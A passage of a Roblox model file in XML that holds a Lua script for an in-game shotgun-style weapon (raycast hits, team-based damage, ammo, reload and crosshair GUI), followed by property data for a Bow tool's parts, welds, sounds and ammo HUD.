local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(1.66)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;for i = 1,20 do -- Shotgun effect :P
&#9;&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;elseif not hitPlayer then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end&#9;
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4088">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>-0.5</X>
					<Y>-0.25</Y>
					<Z>0.600000024</Z>
					<R00>-1.1920929e-007</R00>
					<R01>1</R01>
					<R02>0</R02>
					<R10>-0.980580688</R10>
					<R11>-1.1920929e-007</R11>
					<R12>-0.196116149</R12>
					<R20>-0.196116135</R20>
					<R21>-2.23517418e-008</R21>
					<R22>0.980580688</R22>
				</CoordinateFrame>
				<string name="Name">Bow</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126856749</url></Content>
				<string name="ToolTip">Bow</string>
			</Properties>
			<Item class="Part" referent="RBX4089">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>20.0300007</X>
						<Y>88.6300049</Y>
						<Z>28.1100006</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>-0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>0.300000012</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX4090">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=16211041</url></Content>
						<float name="Volume">0.5</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX4091">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=111502843</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.699999988</X>
							<Y>0.699999988</Y>
							<Z>0.699999988</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4092">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209813</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4093">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209834</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4094">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1.78813934e-007</R00>
							<R01>0.99999994</R01>
							<R02>0</R02>
							<R10>-0.915669024</R10>
							<R11>1.78813934e-007</R11>
							<R12>0.401932955</R12>
							<R20>0.401932955</R20>
							<R21>-5.96046448e-008</R21>
							<R22>0.915669084</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1.78813934e-007</R00>
							<R01>0.99999994</R01>
							<R02>0</R02>
							<R10>-0.915669024</R10>
							<R11>1.78813934e-007</R11>
							<R12>0.401932955</R12>
							<R20>0.401932955</R20>
							<R21>-5.96046448e-008</R21>
							<R22>0.915669084</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4089</Ref>
						<Ref name="Part1">RBX4089</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4095">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>-4.76837158e-006</R00>
							<R01>1.00000024</R01>
							<R02>-2.16066837e-007</R02>
							<R10>-0.991389215</R10>
							<R11>-4.76837158e-006</R11>
							<R12>-0.130950242</R12>
							<R20>-0.130950242</R20>
							<R21>-3.65078449e-007</R21>
							<R22>0.991388917</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>-0.0699141026</X>
							<Y>-3.43322754e-005</Y>
							<Z>0.44990921</Z>
							<R00>0.000111460686</R00>
							<R01>0.999994099</R01>
							<R02>7.10785389e-006</R02>
							<R10>-0.99138397</R10>
							<R11>0.000111460686</R11>
							<R12>-0.13094312</R12>
							<R20>-0.130943105</R20>
							<R21>6.77257776e-006</R21>
							<R22>0.991389811</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4089</Ref>
						<Ref name="Part1">RBX4096</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4097">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4089</Ref>
						<Ref name="Part1">RBX4089</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4098">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4089</Ref>
						<Ref name="Part1">RBX4089</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4099">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>-0.692618251</R00>
							<R01>-0.0742141008</R01>
							<R02>0.717475832</R02>
							<R10>0.719459891</R10>
							<R11>1.1920929e-007</R11>
							<R12>0.694533706</R12>
							<R20>-0.0515441298</R20>
							<R21>0.997242093</R21>
							<R22>0.0533943176</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>-0.692618251</R00>
							<R01>-0.0742141008</R01>
							<R02>0.717475832</R02>
							<R10>0.719459891</R10>
							<R11>1.1920929e-007</R11>
							<R12>0.694533706</R12>
							<R20>-0.0515441298</R20>
							<R21>0.997242093</R21>
							<R22>0.0533943176</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4089</Ref>
						<Ref name="Part1">RBX4089</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4100">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>-0.692618251</R00>
							<R01>-0.0742141008</R01>
							<R02>0.717475832</R02>
							<R10>0.719459891</R10>
							<R11>1.1920929e-007</R11>
							<R12>0.694533706</R12>
							<R20>-0.0515441298</R20>
							<R21>0.997242093</R21>
							<R22>0.0533943176</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
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								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4240">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4241">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4242">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX4243">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
